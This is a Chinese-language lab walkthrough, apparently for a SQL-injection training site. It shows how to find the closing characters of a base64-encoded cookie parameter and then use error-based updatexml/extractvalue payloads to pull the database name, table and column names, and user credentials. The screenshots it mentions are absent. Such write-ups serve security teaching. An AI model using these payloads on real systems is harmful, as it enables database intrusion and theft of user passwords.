1、判断闭合方式
我们正常登录,返回页面如下:
我们发现cookie的RHVtYg==很显然是被加密的,我们经提示得知使用base64加密的。
注意使用base64加密时,加密a后,再加密b的结果跟a和b一起同时加密的结果是不一样的。
我们经过解密可知RHVtYg==就是Dumb。
接下来,我们在Dumb的后面加上',然后进行加密,返回页面如下:
发生了报错,我们推测'就是闭合方式,我们再加上一个#,返回页面如下:
仍然报错,说明闭合方式包括',但是不止有'。我们在加上一个)。返回页面如下:
说明闭合方式是:')。
2、判断注入方式
在判断闭合方式时,我们发现该网站会返回错误,说明该网站适合使用报错注入。
3、爆破数据库名、用户名、版本
输入语句
Dumb') and updatexml(1,concat('~',database(),user(),version(),'~'),1)#
,记得加密,返回页面如下:
4、爆破数据表名
输入语句
Dumb') and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))#
,进行加密,返回页面如下:
5、爆破字段名
输入语句
Dumb') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')))#
,进行加密,返回页面如下:
6、爆破字段内容
为了防止出现无法显示完全这种情况,我们输入以下语句
Dumb') and updatexml(1,concat('~',(select group_concat(concat(id,'-',username,'-',password)) from users),'~'),1)#
,返回页面如下:
我们发现数据显示不完全,我们将语句改为:
Dumb') and updatexml(1,concat('~',mid((select group_concat(concat(id,'-',username,'-',password)) from users),20,31),'~'),1)#
,返回页面如下:
这样我们就可以看到刚第一次没有显示出来的数据。